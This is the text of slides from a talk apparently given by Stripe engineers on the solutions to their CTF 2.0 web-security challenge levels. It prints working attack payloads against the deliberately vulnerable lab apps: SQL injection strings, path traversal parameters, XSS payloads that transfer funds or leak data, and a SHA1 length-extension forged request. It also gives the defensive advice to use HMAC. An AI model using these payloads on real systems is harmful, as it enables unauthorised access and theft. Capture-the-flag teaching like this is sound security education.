Slide 1

Slide 1 text

Greg Brockman (@thegdb) Andy Brody (@alberge) Siddarth Chandrasekaran (@sidd) Ludwig Pettersson (@luddep)

Slide 2

Slide 2 text

Why CTF? • Hands-on security education • Try out the exploits you only read about • Fun (for you and for us)!

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

Level stats

Slide 6

Slide 6 text

Since last time... • 100% higher version number! (2.0) • 50% more levels! 999% more web! • 16,061 accounts created! • > 800% more servers! • 100% more IP addresses! (40,818) • 0% as many fork bombs!

Slide 7

Slide 7 text

CTF Infrastructure • Isolation per user • Chroot, Apache, mod_fcgid, suexec, puppet, space-commander • https://blog.gregbrockman.com/2012/08/ system-design-stripe-capture-the-flag/

Slide 8

Slide 8 text

Things that went wrong

Slide 9

Slide 9 text

Level 0: Secret Safe

Slide 10

Slide 10 text

Level 0: Secret Safe

Slide 11

Slide 11 text

Level 0: Secret Safe injected query: SELECT * FROM secrets WHERE key LIKE ‘%.%’

Slide 12

Slide 12 text

Level 1: Guessing Game

Slide 13

Slide 13 text

Level 1: Guessing Game

Slide 14

Slide 14 text

Level 1: Guessing Game solutions: ?attempt=&filename= ?attempt=&filename=/dev/null ?attempt=...&filename=../index.php

Slide 15

Slide 15 text

Level 2: Social Network

Slide 16

Slide 16 text

Level 2: Social Network

Slide 17

Slide 17 text

Level 3: Secret Vault

Slide 18

Slide 18 text

Level 3: Secret Vault

Slide 19

Slide 19 text

Level 3: Secret Vault username: x' UNION ALL SELECT 3, '9b237c...', 'llama password: llama

Slide 20

Slide 20 text

Level 3: Secret Vault injected query: SELECT id, password_hash, salt FROM users WHERE username = 'x' UNION ALL SELECT 3, '9b237c...', 'llama' LIMIT 1

Slide 21

Slide 21 text

Level 4: Karma Trader

Slide 22

Slide 22 text

Level 4: Karma Trader unless username =~ /^\w+$/ die("Invalid username. Usernames must match /^\w+$/", :register) end <% if @trusts_me.include?(user[:username]) %>
  • <%= user[:username] %> (password: <%= user[:password] %>, last active <%= last_active %>)
  • 1. 2.

    Slide 23

    Slide 23 text

    Level 4: Karma Trader password: jQuery.ajax({ type: 'POST', url: './transfer', data: {to: '$user', amount: 1} })

    Slide 24

    Slide 24 text

    Level 5: DomainAuthenticator

    Slide 25

    Slide 25 text

    Level 5: DomainAuthenticator

    Slide 26

    Slide 26 text

    Level 5: DomainAuthenticator begin body = perform_authenticate(pingback, username, password) rescue StandardError => e return "An unknown error occurred while requesting #{pingback}: #{e}" end

    Slide 27

    Slide 27 text

    Level 5: DomainAuthenticator def authenticated?(body) body =~ /[^\w]AUTHENTICATED[^\w]*$/ end

    Slide 28

    Slide 28 text

    Level 6: Streamer

    Slide 29

    Slide 29 text

    Level 6: Streamer var username = "<%= @username %>"; var post_data = <%= @posts.to_json %>; ...

    Slide 30

    Slide 30 text

    Level 6: Streamer $.get(window.location + /user_info/.source, function(d) { $(/#content/.source). val(escape(d)); document.forms[0].submit() })

    Slide 31

    Slide 31 text

    Level 7: WaffleCopter

    Slide 32

    Slide 32 text

    Level 7: WaffleCopter

    Slide 33

    Slide 33 text

    Looks Secure • Parameterized queries — no SQL injection • Automatic template escaping — no XSS • Session cookies encrypted w/ random key • Tracebacks are disabled • API requests are signed with secret token

    Slide 34

    Slide 34 text

    Something’s Fishy... @app.route(’/logs/’) @require_authentication def logs(id): rows = get_logs(id) return render_template(‘logs.html’, logs=rows)

    Slide 35

    Slide 35 text

    /logs/1

    Slide 36

    Slide 36 text

    Replay attack?

    Slide 37

    Slide 37 text

    Signature algorithm def verify_signature(user_id, sig, raw_params): h = hashlib.sha1() h.update(secret + raw_params) if h.hexdigest() != sig: raise BadSignature(‘sig mismatch’) return True

    Slide 38

    Slide 38 text

    Signature algorithm SHA1(SECRET||MESSAGE) => SIGNATURE POST /orders MESSAGE|sig:SIGNATURE

    Slide 39

    Slide 39 text

    Length extension attack

    Slide 40

    Slide 40 text

    Length extension attack SHA1(SECRET||MESSAGE) => SIGNATURE SHA1+SIGNATURE(MESSAGE||PAD||ATTACK) => NEWSIG SHA1(SECRET||MESSAGE||PAD||ATTACK) => NEWSIG POST /v1/orders MESSAGEPADATTACK|sig:NEWSIG

    Slide 41

    Slide 41 text

    Exploit POST /orders ORIG_MESSAGE\x80\0\0\0\0\0\0\0\... \x028&waffle=liege|sig:57c43df7... {“success”:true, “confirm_code”: “PVzbPnTDCY”, “message”: “Great news, 2 liege waffles will soon be flying your way!”}

    Slide 42

    Slide 42 text

    USE HMAC http://en.wikipedia.org/wiki/HMAC HMAC-SHA1 (simplified): SHA1(SECRET||MESSAGE) => HASH SHA1(HASH||SECRET) => SIGNATURE

    Slide 43

    Slide 43 text

    ANY QUESTIONS? http://netifera.com/research/ flickr_api_signature_forgery.pdf I will use HMAC if I want a signature. I will use HMAC if I want a signature. I will use HMAC if I want a signature. I will use HMAC if I want a signature. I will use HMAC if I want a signature.

    Slide 44

    Slide 44 text

    Level 8: PasswordDB $ curl localhost:3000 -d '{"password": "123123123123", "webhooks": []}' {"success": false}

    Slide 45

    Slide 45 text

    Level 8: PasswordDB 912 513 525 204 123123123123 Webhook (1) (2) (3)

    Slide 46

    Slide 46 text

    Level 8: PasswordDB [127.0.0.1:52493:1] Received payload ... [127.0.0.1:52495:2] Received payload ... [127.0.0.1:52497:3] Received payload

    Slide 47

    Slide 47 text

    Level 8: PasswordDB • Insight: look at port deltas! • Why does this work? http:// aleccolocco.blogspot.com/2008/11/ ephemeral-ports-problem-and- solution.html

    Slide 48

    Slide 48 text

    Future events • Get notified: http://meetup.com/Stripe/ • Alternatively, https://stripe.com/jobs Feel free to get in touch at [email protected]